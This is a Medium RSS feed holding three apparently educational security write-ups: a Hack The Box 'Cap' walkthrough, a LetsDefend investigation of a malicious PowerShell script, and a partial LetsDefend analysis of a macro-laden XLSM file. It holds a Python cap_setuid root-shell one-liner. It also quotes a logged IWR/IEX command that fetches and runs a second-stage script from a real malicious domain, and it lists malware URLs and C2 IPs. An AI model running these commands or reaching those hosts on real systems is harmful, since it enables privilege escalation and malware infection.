<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ajaydevsv on Medium]]></title>
        <description><![CDATA[Stories by Ajaydevsv on Medium]]></description>
        <link>https://medium.com/@ajaydevsv?source=rss-76184b8cef07------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZmuPgABSzQKLmbLfb-jlnQ.jpeg</url>
            <title>Stories by Ajaydevsv on Medium</title>
            <link>https://medium.com/@ajaydevsv?source=rss-76184b8cef07------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 05:34:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ajaydevsv/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box — Cap: Penetration Testing Walkthrough]]></title>
            <link>https://medium.com/@ajaydevsv/hack-the-box-cap-penetration-testing-walkthrough-ec493c4acecb?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec493c4acecb</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 07:20:27 GMT</pubDate>
            <atom:updated>2026-10-24T07:20:27.509Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4PcoDaQ4xoZxtij4ReMIDQ.png" /></figure><h3>Introduction</h3><p><strong>Cap</strong> is an Easy-rated Linux machine from Hack The Box that provides a realistic introduction to web application enumeration, insecure direct object references (IDOR), packet capture analysis, credential reuse, and Linux capability-based privilege escalation.</p><p>The machine exposes FTP, SSH, and HTTP services. The initial foothold is obtained by exploiting an IDOR vulnerability in the web application to access another user’s packet capture. The PCAP contains FTP credentials transmitted in plaintext. Those credentials are then reused to authenticate over SSH as the user nathan.</p><p>For privilege escalation, a misconfigured Linux capability is discovered on /usr/bin/python3.8. The cap_setuid capability allows the Python process to change its UID to 0, resulting in root access.</p><h3>Attack Chain</h3><pre>Nmap Enumeration<br>       ↓<br>Security Dashboard<br>       ↓<br>IDOR in /data/&lt;scan_id&gt;<br>       ↓<br>Sensitive PCAP<br>       ↓<br>FTP plaintext credentials<br>       ↓<br>Password reuse<br>       ↓<br>SSH as nathan<br>       ↓<br>User Flag<br>       ↓<br>Linux Capability Enumeration<br>       ↓<br>Python 3.8 + cap_setuid<br>       ↓<br>Root Shell<br>       ↓<br>Root Flag</pre><h3>1. Reconnaissance</h3><p>The first step was to identify the services exposed by the target.</p><pre>nmap -sC -sV &lt;TARGET_IP&gt;</pre><p>The scan returned three open TCP ports:</p><pre>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu<br>80/tcp open  http    Gunicorn</pre><h3>Attack Surface</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*1bnXqg7P5abJpIYbQc8TGQ.png" /></figure><p>The HTTP service was particularly interesting because Nmap identified the application title as:</p><pre>Security Dashboard</pre><p>This made the web application the next logical target for enumeration.</p><h3>2. Web Application Enumeration</h3><p>Navigating to:</p><pre>http://&lt;TARGET_IP&gt;</pre><p>revealed a <strong>Security Dashboard</strong>.</p><p>The application contained a feature called:</p><blockquote><em>Security Snapshot</em></blockquote><p>Running a snapshot redirected the browser to a URL following this structure:</p><pre>/data/&lt;scan_id&gt;</pre><p>For example:</p><pre>/data/4</pre><p>This revealed that scan results were being referenced directly through a numeric identifier.</p><h3>3. Testing for IDOR</h3><p>The next question was whether the application actually verified that the requested scan belonged to the currently authenticated user.</p><p>Instead of assuming that the numeric ID was protected, different scan IDs were manually requested:</p><pre>/data/1<br>/data/2<br>/data/3<br>/data/4<br>/data/5<br>/data/6</pre><p>An interesting behavior was observed.</p><p>The displayed username remained the same, but the underlying scan data changed between IDs.</p><p>For example, different scan IDs returned different packet statistics.</p><p>This indicated that the application was using the supplied scan ID directly without properly enforcing ownership.</p><h3>Vulnerability</h3><p>This is an example of <strong>Insecure Direct Object Reference (IDOR)</strong> / broken access control.</p><p>The application effectively trusted:</p><pre>/data/&lt;id&gt;</pre><p>without sufficiently verifying:</p><pre>Does this scan belong to the current user?</pre><p>This allowed access to scans belonging to other users.</p><h3>4. Finding the Sensitive PCAP</h3><p>The accessible scans contained downloadable packet captures.</p><p>The PCAP associated with <strong>ID 0</strong> contained sensitive network traffic.</p><p>The capture was downloaded and opened in Wireshark for analysis.</p><p>The protocol hierarchy and packet details revealed FTP traffic.</p><p>Following the TCP stream showed FTP authentication being transmitted in plaintext.</p><p>The captured traffic contained requests similar to:</p><pre>USER nathan<br>PASS &lt;password&gt;</pre><p>followed by:</p><pre>230 Login successful</pre><p>This confirmed that valid FTP credentials had been exposed through the packet capture.</p><h3>Why this matters</h3><p>FTP does not encrypt authentication traffic by default.</p><p>Therefore, anyone capable of capturing the network traffic could potentially recover usernames and passwords.</p><p>The chain was now:</p><pre>IDOR<br> ↓<br>Other user&#39;s PCAP<br> ↓<br>FTP traffic<br> ↓<br>Plaintext credentials</pre><h3>5. Credential Reuse</h3><p>We now had Nathan’s FTP credentials.</p><p>The Nmap results showed that SSH was also exposed on port 22.</p><p>Since credential reuse is a common attack path, the recovered credentials were tested against SSH:</p><pre>ssh nathan@&lt;TARGET_IP&gt;</pre><p>The password recovered from the PCAP successfully authenticated.</p><p>The result was an interactive shell:</p><pre>nathan@cap:~$</pre><p>We had obtained our initial foothold as nathan.</p><h3>Attack Chain</h3><pre>FTP credentials<br>      ↓<br>Credential reuse<br>      ↓<br>SSH authentication<br>      ↓<br>Shell as nathan</pre><h3>6. User Flag</h3><p>After obtaining the SSH shell, the user’s home directory was inspected:</p><pre>pwd<br>ls</pre><p>The working directory was:</p><pre>/home/nathan</pre><p>and it contained:</p><pre>user.txt</pre><p>The flag was retrieved with:</p><pre>cat user.txt</pre><p>This successfully completed the <strong>User Flag</strong> objective.</p><h3>7. Privilege Escalation Enumeration</h3><p>With initial access obtained, the next objective was to identify a path to root.</p><p>Rather than immediately using automated exploitation tools, Linux capabilities were enumerated manually.</p><p>The following command searches recursively for files with assigned capabilities:</p><pre>getcap -r / 2&gt;/dev/null</pre><p>The output included:</p><pre>/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip<br>/usr/bin/ping = cap_net_raw+ep<br>/usr/bin/traceroute6.iputils = cap_net_raw+ep<br>/usr/bin/mtr-packet = cap_net_raw+ep</pre><p>The most interesting entry was:</p><pre>/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip</pre><p>The important capability was:</p><pre>cap_setuid</pre><h3>8. Understanding cap_setuid</h3><p>Linux capabilities allow specific privileged operations to be granted to individual programs without giving the entire process unrestricted root privileges.</p><p>cap_setuid is particularly interesting because it allows a process to change its user ID.</p><p>Linux UID 0 represents the root user.</p><p>Therefore, a binary capable of changing its UID to 0 can potentially be abused for privilege escalation.</p><p>In this case:</p><pre>Python 3.8<br>    ↓<br>cap_setuid<br>    ↓<br>Change UID to 0<br>    ↓<br>Execute a shell<br>    ↓<br>Root</pre><h3>9. Exploiting Python’s Capability</h3><p>The Python binary was used to change the process UID to 0 and spawn a shell:</p><pre>/usr/bin/python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;</pre><p>The resulting shell was checked with:</p><pre>id</pre><p>The output showed:</p><pre>uid=0(root)</pre><p>This confirmed successful privilege escalation.</p><p>Although the group ID remained associated with nathan, the critical value was:</p><pre>uid=0(root)</pre><p>The process was therefore operating with root privileges.</p><h3>10. Root Flag</h3><p>After obtaining the root shell, the root home directory was accessed:</p><pre>cd /root<br>ls -la</pre><p>The root flag was then retrieved:</p><pre>cat /root/root.txt</pre><p>The HTB interface confirmed that the <strong>Root Flag</strong> had been successfully obtained.</p><h3>11. Vulnerabilities Identified</h3><h3>1. Insecure Direct Object Reference (IDOR)</h3><p>The application exposed scan results through:</p><pre>/data/&lt;scan_id&gt;</pre><p>without properly enforcing ownership.</p><p>An attacker could manipulate the scan ID to access other users’ scans.</p><p><strong>Impact:</strong> Unauthorized access to potentially sensitive scan data and PCAP files.</p><h3>2. Sensitive Data Exposure</h3><p>A PCAP accessible through the vulnerable web application contained FTP authentication traffic.</p><p><strong>Impact:</strong> Credentials could be recovered from the captured traffic.</p><h3>3. Cleartext FTP Authentication</h3><p>FTP transmitted the username and password without encryption.</p><p><strong>Impact:</strong> An attacker capable of capturing the traffic could recover valid credentials.</p><h3>4. Password Reuse</h3><p>The recovered FTP password was also valid for SSH.</p><p><strong>Impact:</strong> Exposure of one service’s credentials resulted in access to another service.</p><h3>5. Dangerous Linux Capability</h3><p>The Python executable had:</p><pre>cap_setuid</pre><p>assigned to it:</p><pre>/usr/bin/python3.8</pre><p>This allowed the process to change its UID to 0.</p><p><strong>Impact:</strong> A low-privileged user could escalate to root.</p><h3>12. Lessons Learned</h3><p>The Cap machine demonstrates how several individually manageable weaknesses can be chained into complete system compromise:</p><pre>Broken Access Control<br>        ↓<br>Sensitive File Access<br>        ↓<br>Credential Exposure<br>        ↓<br>Credential Reuse<br>        ↓<br>Initial Access<br>        ↓<br>Misconfigured Capability<br>        ↓<br>Root</pre><p>The most important lessons are:</p><ul><li>Never assume numeric object IDs are protected.</li><li>Always test authorization when manipulating resource identifiers.</li><li>Avoid transmitting credentials over plaintext protocols such as FTP.</li><li>Never reuse passwords across services.</li><li>Regularly audit Linux file capabilities.</li><li>Treat capabilities such as cap_setuid as potentially high-risk when assigned to powerful interpreters or executables.</li></ul><h3>Conclusion</h3><p>Cap is a great demonstration of why penetration testing is about <strong>chaining weaknesses</strong>, rather than finding one magical exploit.</p><p>The initial web vulnerability did not directly provide a shell. Instead, it exposed a PCAP. The PCAP exposed FTP credentials. Credential reuse provided SSH access. Finally, a misconfigured Python capability enabled privilege escalation to root.</p><p>Understanding that complete chain is more valuable than simply knowing the individual commands.</p><h3>Connect With Me</h3><h3>LinkedIn</h3><pre>www.linkedin.com/in/ajaydev-s</pre><h3>GitHub</h3><pre>https://github.com/Ajaydevs007</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec493c4acecb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC153 — Suspicious PowerShell Script Executed | LetsDefend SOC Investigation]]></title>
            <link>https://medium.com/@ajaydevsv/soc153-suspicious-powershell-script-executed-letsdefend-soc-investigation-c379caa77b91?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/c379caa77b91</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[powershell]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Sat, 19 Sep 2026 04:15:08 GMT</pubDate>
            <atom:updated>2026-09-19T07:26:03.582Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigating a Malicious PowerShell Script, Second-Stage Download, and Network Activity</h3><p>While working through LetsDefend SOC Analyst labs, I investigated <strong>SOC153 — Suspicious PowerShell Script Executed</strong>.</p><p>The alert involved a PowerShell script named payload_1.ps1 executed on a Windows host. During the investigation, I correlated <strong>threat intelligence, browser history, process execution, PowerShell Script Block Logging, and network traffic</strong> to understand what happened.</p><p>The investigation ultimately resulted in a <strong>True Positive</strong>, with the affected host contained.</p><h3>1. Initial Alert</h3><p>The investigation started with the following alert:</p><ul><li><strong>Alert:</strong> SOC153 — Suspicious PowerShell Script Executed</li><li><strong>Severity:</strong> Medium</li><li><strong>Alert Type:</strong> Malware</li><li><strong>Event ID:</strong> 238</li><li><strong>Host:</strong> Tony</li><li><strong>IP:</strong> 172.16.17.206</li><li><strong>File:</strong> payload_1.ps1</li><li><strong>File Path:</strong> C:\Users\LetsDefend\Downloads\payload_1.ps1</li><li><strong>SHA-256:</strong> db8be06ba6d2d3595dd0c86654a48cfc4c0c5408fdd3f4e1eaf342ac7a2479d0</li><li><strong>EDR Action:</strong> Detected</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nv_lTlCclVKAkZhOm6aY8A.png" /></figure><p>The alert immediately indicated suspicious PowerShell activity involving a script downloaded to the user’s Downloads directory.</p><h3>2. Threat Intelligence Investigation</h3><p>I submitted the SHA-256 hash to VirusTotal to determine whether the file had previously been identified as malicious.</p><p>VirusTotal showed:</p><ul><li><strong>34/61 security vendors</strong> detected the file</li><li>File type: <strong>PowerShell</strong></li><li>Threat label: trojan.powershell/boxter</li><li>Categories included:</li><li>Trojan</li><li>Downloader</li><li>Dropper</li><li>Family labels included PowerShell, Boxter, and Azorult</li><li>The sample was tagged with behaviors including:</li><li>PowerShell</li><li>Long sleeps</li><li>URL patterns</li><li>Network adapter checks</li><li>Debug/sandbox detection</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeVjRZu3F8wCNLI8T7SzgQ.png" /></figure><p>This established that the file was not simply suspicious based on the LetsDefend alert; <strong>multiple security vendors had independently classified the sample as malicious.</strong></p><h3>3. VirusTotal Network Indicators</h3><p>VirusTotal’s analysis also provided network indicators associated with the sample.</p><p>One particularly important IP was:</p><pre>161.22.46.148</pre><p>VirusTotal showed this IP among the contacted IP addresses for the sample.</p><p>There was also a malicious URL observed during the analysis:</p><pre>https://kionagranada.com/upload/beauty.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3kYV870lACKx-YshgNi8A.png" /></figure><p>At this stage, these were <strong>threat-intelligence indicators</strong>. They still needed to be validated against the endpoint’s own logs.</p><p>The affected endpoint was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xw2ju1GkAKuIpqzpiTrMhw.png" /></figure><p>The next step was determining <strong>how </strong><strong>payload_1.ps1 reached the machine</strong>.</p><h3>5. Browser History — Initial Download</h3><p>Endpoint browser history showed that the host accessed:</p><pre>https://files.ld.s3.us-east-2.amazonaws.com/payload_1.ps1</pre><p>at:</p><pre>2024-03-14 17:22:25</pre><p>The suspicious PowerShell alert occurred at:</p><pre>2024-03-14 17:23:43</pre><p>That means the file download occurred approximately <strong>1 minute and 18 seconds before the alert</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JpB0yQMOjVVuOqVEUQ_5wg.png" /></figure><p>This provided an important timeline:</p><pre>17:22:25<br>   ↓<br>payload_1.ps1 downloaded<br>   ↓<br>17:23:43<br>   ↓<br>Suspicious PowerShell Script Executed alert</pre><h3>6. Process Investigation</h3><p>Endpoint process telemetry provided stronger evidence.</p><p>The process was:</p><pre>powershell.exe</pre><p>with the path:</p><pre>C:\Windows\System32\WINDOWSPOWERSHELL\v1.0\powershell.exe</pre><p>The parent process was:</p><pre>explorer.exe</pre><p>The process also referenced the same malicious file:</p><pre>payload_1.ps1</pre><p>The process command line was especially interesting.</p><h3>7. Execution Policy Bypass</h3><p>The command line showed:</p><pre>if((Get-ExecutionPolicy) -ne &#39;AllSigned&#39;){<br>Set-ExecutionPolicy -Scope Process Bypass<br>};<br>&amp; &#39;C:\Users\LetsDefend\Downloads\payload_1.ps1&#39;</pre><p>There are two important actions here.</p><p>First:</p><pre>Set-ExecutionPolicy -Scope Process Bypass</pre><p>The PowerShell process was configured to bypass the normal execution policy.</p><p>Second:</p><pre>&amp; &#39;C:\Users\LetsDefend\Downloads\payload_1.ps1&#39;</pre><p>The downloaded PowerShell script was explicitly executed.</p><p>This provided direct endpoint evidence that payload_1.ps1 was executed rather than merely downloaded.</p><h3>8. PowerShell Script Block Logging</h3><p>The most valuable piece of evidence came from <strong>PowerShell Script Block Logging — Event ID 4104</strong>.</p><p>The script block contained:</p><pre>&quot;C:\Windows\system32\cmd.exe&quot; /c &quot;powershell -command IEX(IWR -UseBasicParsing &#39;https://kionagranada.com/upload/sd2.ps1&#39;)&quot;</pre><p>This revealed another stage of the activity.</p><h3>IWR</h3><p>IWR is an alias for:</p><pre>Invoke-WebRequest</pre><p>It was used to retrieve:</p><pre>https://kionagranada.com/upload/sd2.ps1</pre><h3>IEX</h3><p>IEX is an alias for:</p><pre>Invoke-Expression</pre><p>This means the downloaded content was passed to PowerShell for execution.</p><p>So the observed behavior was:</p><pre>PowerShell<br>    ↓<br>Invoke-WebRequest<br>    ↓<br>Download sd2.ps1<br>    ↓<br>Invoke-Expression<br>    ↓<br>Execute downloaded content</pre><p>This was a major finding because the log exposed the <strong>second-stage download-and-execute behavior</strong>.</p><h3>9. Network Investigation</h3><p>I then searched Log Management using the affected host:</p><pre>172.16.17.206</pre><p>The search returned multiple network events.</p><p>One particularly important event showed:</p><pre>Source:<br>172.16.17.206</pre><pre>Destination:<br>161.22.46.148</pre><pre>Destination Port:<br>443</pre><pre>Time:<br>2024-03-14 19:53:47</pre><p>This was significant because:</p><pre>161.22.46.148</pre><p>had already been observed by VirusTotal for the same malware sample.</p><h3>10. Timeline Correlation</h3><p>The events can now be correlated into a single investigation timeline.</p><pre>17:22:25<br>│<br>├── Browser downloads payload_1.ps1<br>│<br>▼<br>17:23:43<br>│<br>├── SOC153 alert<br>│   Suspicious PowerShell Script Executed<br>│<br>│<br>▼<br>19:53:27<br>│<br>├── PowerShell process activity<br>├── payload_1.ps1 executed<br>├── ExecutionPolicy Bypass<br>│<br>├── Event ID 4104<br>│   └── IWR → downloads sd2.ps1<br>│       IEX → executes downloaded content<br>│<br>▼<br>19:53:47<br>│<br>└── 172.16.17.206<br>        ↓<br>    161.22.46.148:443</pre><p>The PowerShell activity occurred approximately <strong>20 seconds before the network connection</strong>.</p><p>This provides strong temporal correlation between the PowerShell activity and the outbound connection.</p><h3>11. MITRE ATT&amp;CK</h3><p>The alert was mapped to several MITRE ATT&amp;CK techniques, including:</p><ul><li><strong>T1189 — Drive-by Compromise</strong></li><li><strong>T1059.001 — Command and Scripting Interpreter: PowerShell</strong></li><li><strong>T1204.002 — User Execution: Malicious File</strong></li><li><strong>T1071 — Application Layer Protocol</strong></li></ul><p>The investigation also provided concrete evidence of PowerShell command execution and application-layer network communication.</p><h3>12. Containment</h3><p>Because the investigation identified confirmed malicious activity on the endpoint, I proceeded with host containment.</p><p>The endpoint:</p><pre>Tony<br>172.16.17.206</pre><p>was successfully contained.</p><p>Containment prevented the affected endpoint from continuing normal network communication while the incident was being handled.</p><h3>13. Analyst Assessment</h3><p>Based on the collected evidence, the activity was determined to be malicious.</p><p>The investigation established:</p><ul><li>The suspicious PowerShell script was downloaded to the endpoint.</li><li>The script was executed through powershell.exe.</li><li>PowerShell used an <strong>ExecutionPolicy Bypass</strong>.</li><li>Event ID 4104 revealed a second-stage PowerShell download.</li><li>IWR was used to retrieve sd2.ps1.</li><li>IEX was used to execute the downloaded content.</li><li>The endpoint communicated with 161.22.46.148:443.</li><li>The same IP was observed by VirusTotal for the analyzed sample.</li><li>The affected host was contained.</li></ul><p>The malware was <strong>not observed as quarantined or cleaned</strong> during the investigation.</p><h3>14. Final Verdict</h3><p>The alert was classified as:</p><h3>✅ True Positive</h3><p>The evidence showed that the alert represented genuine malicious PowerShell activity rather than a benign administrative script.</p><p>The LetsDefend playbook was completed with:</p><ul><li><strong>Result:</strong> True Positive</li><li><strong>Playbook Score:</strong> 15</li><li><strong>Success Rate:</strong> 100%</li><li><strong>C2:</strong> Accessed</li><li><strong>Malware:</strong> Malicious</li><li><strong>Host:</strong> Contained</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AGPGHUtdhs9AwEEvwj7oZA.png" /></figure><h3>Conclusion</h3><p>This investigation demonstrated why a SOC analyst should not rely on a single alert or indicator.</p><p>The initial alert only identified suspicious PowerShell execution. By correlating multiple sources, I was able to reconstruct the activity:</p><pre>Download<br>   ↓<br>PowerShell Execution<br>   ↓<br>ExecutionPolicy Bypass<br>   ↓<br>Second-Stage Download<br>   ↓<br>IEX Execution<br>   ↓<br>Network Communication<br>   ↓<br>Containment</pre><p>The most valuable part of the investigation was the correlation between <strong>PowerShell Script Block Logging, endpoint process telemetry, and network logs</strong>.</p><p>This lab reinforced the importance of understanding PowerShell activity and using multiple telemetry sources to validate a SOC alert.</p><h3>🔗 Connect With Me</h3><p>I’m documenting my journey toward becoming a <strong>SOC Analyst</strong>, including hands-on SIEM investigations, malware analysis, threat detection, incident response, and LetsDefend labs.</p><p>I’ll be sharing more investigations and practical cybersecurity learning experiences as I continue building my SOC portfolio.</p><p><strong>GitHub:</strong><br><a href="https://github.com/Ajaydevs007">https://github.com/Ajaydevs007</a></p><p><strong>LinkedIn:</strong><br><a href="http://www.linkedin.com/in/ajaydev-s">www.linkedin.com/in/ajaydev-s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c379caa77b91" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating a Suspicious XLSM File — LetsDefend SOC138 Walkthrough]]></title>
            <link>https://medium.com/@ajaydevsv/investigating-a-suspicious-xlsm-file-letsdefend-soc138-walkthrough-16adeabbed8b?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/16adeabbed8b</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 15:53:54 GMT</pubDate>
            <atom:updated>2026-09-18T15:53:54.659Z</atom:updated>
            <content:encoded><![CDATA[<p>A practical SOC investigation covering malicious Excel macro analysis, VirusTotal, IOC correlation, network investigation, endpoint containment, and incident response.</p><h3>Introduction</h3><p>In this LetsDefend SOC lab, I investigated <strong>SOC138 — Detected Suspicious Xls File</strong>.</p><p>The alert involved a suspicious Microsoft Excel macro-enabled document named:</p><p>ORDER SHEET &amp; SPEC.xlsm</p><p>The investigation involved analyzing the file using VirusTotal, examining its macro behavior, investigating network activity from the affected endpoint, correlating timestamps, containing the endpoint, and determining the final incident classification.</p><h3>1. Initial Alert</h3><p>The alert provided the following information:</p><p><strong>Event ID:</strong> 77<br> <strong>Event Time:</strong> 2021-03-13 20:20:58 +03:00<br> <strong>Rule:</strong> SOC138 - Detected Suspicious Xls File<br> <strong>Alert Type:</strong> Malware<br> <strong>Difficulty:</strong> Easy<br> <strong>MITRE ATT&amp;CK:</strong> T1112<br> <strong>File Name:</strong> ORDER SHEET &amp; SPEC.xlsm<br> <strong>File Size:</strong> 2.66 MB<br> <strong>File Hash:</strong> 7ccf88c0bbe3b29bf19d877c4596a8d4<br> <strong>Device Action:</strong> Allowed<br> <strong>Source IP:</strong> 172.16.17.56<br> <strong>Source Hostname:</strong> Sofia<br> <strong>Severity:</strong> Medium</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prBLxUecaWcyltRJgiWdhw.png" /></figure><h3>2. Why the XLSM File Was Suspicious</h3><p>The file extension was:</p><pre>ORDER SHEET &amp; SPEC.xlsm</pre><p>The .xlsm extension represents a <strong>macro-enabled Excel workbook</strong>.</p><p>Macros are not inherently malicious, but they can be abused to execute code when a document is opened.</p><p>Because the alert specifically identified the file as suspicious, I investigated the file hash using VirusTotal.</p><h3>3. VirusTotal Analysis</h3><p>I searched the alert’s MD5 hash in VirusTotal:</p><pre>7ccf88c0bbe3b29bf19d877c4596a8d4</pre><p>VirusTotal confirmed that this was the same file.</p><p>The basic properties showed:</p><ul><li><strong>MD5:</strong> 7ccf88c0bbe3b29bf19d877c4596a8d4</li><li><strong>SHA-1:</strong> 23f0506d857d38c3cd5354b80afc725b5f034744</li><li><strong>SHA-256:</strong> 7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813</li><li><strong>File size:</strong> 2.66 MB</li></ul><p>VirusTotal reported:</p><blockquote><strong><em>44/62 security vendors flagged the file as malicious.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXkimbfyWRv_V4uP6vQv5g.png" /></figure><p>This provided strong evidence that the suspicious Excel file was malicious.</p><h3>4. Macro Analysis</h3><p>VirusTotal’s code analysis identified several suspicious behaviors in the macro.</p><p>The document contained an:</p><pre>Auto_Open</pre><p>subroutine.</p><p>Auto_Open is significant because it can execute when the Excel document is opened.</p><p>The analysis also identified:</p><ul><li>Heavy code obfuscation</li><li>Obfuscated variable and function names</li><li>Base64-encoded strings</li><li>ShellExecute</li><li>CreateObject</li><li>File-system operations</li><li>Downloading files from remote URLs</li><li>Executing downloaded files</li><li>Macro self-replication behavior</li></ul><p>The observed behavior can be represented as:</p><p>ORDER SHEET &amp; SPEC.xlsm<br> ↓<br> Auto_Open<br> ↓<br> VBA Macro<br> ↓<br> Obfuscation<br> ↓<br> Base64 Decoding<br> ↓<br> ShellExecute<br> ↓<br> Download File<br> ↓<br> Execute File</p><h3>Important distinction</h3><p>The malware analysis demonstrated what the macro was <strong>capable of doing</strong>.</p><p>It did not, by itself, prove that all of those actions were successfully executed on Sofia’s endpoint.</p><p>That required endpoint and network correlation.</p><h3>5. Investigating Network Activity</h3><p>Because the malicious file was capable of downloading and executing additional files, I investigated network activity from the affected endpoint.</p><p>The affected endpoint was:</p><pre>Hostname: Sofia<br>IP Address: 172.16.17.56</pre><p>A search for network activity from 172.16.17.56 returned:</p><p><strong>3 events.</strong></p><p>The connections were:</p><pre>172.16.17.56 → 177.53.143.89:443<br>172.16.17.56 → 177.53.143.89:443<br>172.16.17.56 → 35.189.10.17:443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBuAlwkG_P2ouDJ9vClkfQ.png" /></figure><h3>6. IOC Correlation</h3><p>One of the most interesting findings was:</p><pre>177.53.143.89</pre><p>This IP address had also appeared in the VirusTotal analysis of the malicious Excel file.</p><p>Therefore, we had the following correlation:</p><pre>Malicious XLSM<br>      ↓<br>VirusTotal observed<br>177.53.143.89<br>      ↓<br>Sofia&#39;s endpoint<br>172.16.17.56<br>      ↓<br>Connected to<br>177.53.143.89:443</pre><p>This provided a meaningful IOC correlation between the malware analysis and the endpoint’s network activity.</p><p>However, the timestamps required additional consideration.</p><h3>7. Timeline Correlation</h3><p>The original SOC138 alert occurred at:</p><pre>2021-03-13 20:20:58</pre><p>The observed connection to 177.53.143.89:443 occurred later, around:</p><pre>2021-03-13 22:50</pre><p>Therefore, the network connection did <strong>not</strong> occur at exactly the same time as the alert.</p><p>This is an important distinction.</p><p>The evidence shows that:</p><ul><li>Sofia’s endpoint contacted 177.53.143.89</li><li>The IP was also observed during VirusTotal analysis of the malicious file</li><li>The connection occurred later on the same date</li></ul><p>However, the available evidence does not definitively prove that the malicious Excel macro itself initiated that specific network connection.</p><p>This demonstrates an important SOC investigation principle:</p><blockquote><strong><em>IOC correlation should consider both the indicator and the timeline.</em></strong></blockquote><p>Finding the same IP on an endpoint is valuable evidence, but attribution requires appropriate contextual and temporal correlation.</p><h3>8. Endpoint Investigation</h3><p>I investigated the endpoint:</p><pre>Sofia<br>172.16.17.56</pre><p>The endpoint information showed:</p><pre>OS: Windows 10<br>Domain: LetsDefend<br>Primary User: Sofia2020</pre><p>The Terminal History contained a highly obfuscated PowerShell command beginning with:</p><pre>PowerShell -ENCOD</pre><p>The command contained a large encoded payload.</p><p>This was suspicious because encoded PowerShell commands can be used to hide the actual commands being executed.</p><p>However, the endpoint interface showed <strong>3 Terminal History records</strong>, while only one was visible on the current page.</p><p>There was insufficient evidence to conclude that an attacker had cleared the terminal history.</p><p>Similarly, the endpoint’s <strong>Last Login</strong> value should not be used as the execution timestamp for the PowerShell command. Last Login and Terminal History event time represent different pieces of information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJCPo2v0sOLnap4x-MyYAA.png" /></figure><h3>9. Containment</h3><p>The endpoint initially showed:</p><pre>Containment: OFF</pre><p>Because the file was confirmed malicious and the endpoint had suspicious network activity, I proceeded with endpoint containment.</p><p>The affected host was:</p><pre>Sofia<br>172.16.17.56</pre><p>After containment, the endpoint showed:</p><pre>Host Contained</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S53GofYYn57ar1cMHZO1hQ.png" /></figure><p>This successfully isolated the endpoint as part of the incident-response process.</p><h3>10. Artifact Collection</h3><p>The malicious file’s MD5 hash was added as an investigation artifact:</p><pre>7ccf88c0bbe3b29bf19d877c4596a8d4</pre><p>This provides a useful IOC for future detection and threat hunting.</p><p>The hash is preferable to relying only on the filename because filenames can easily be changed.</p><h3>11. Analyst Assessment</h3><p>The investigation established that ORDER SHEET &amp; SPEC.xlsm was malicious.</p><p>VirusTotal identified the file as malicious, with <strong>44/62 security vendors</strong> detecting it.</p><p>The document contained an Auto_Open macro with multiple suspicious behaviors, including obfuscation, Base64 decoding, ShellExecute, file downloading, and file execution capabilities.</p><p>Network investigation identified three outbound connections from Sofia’s endpoint. Two connections were made to 177.53.143.89:443, an IP also observed during VirusTotal analysis of the malicious 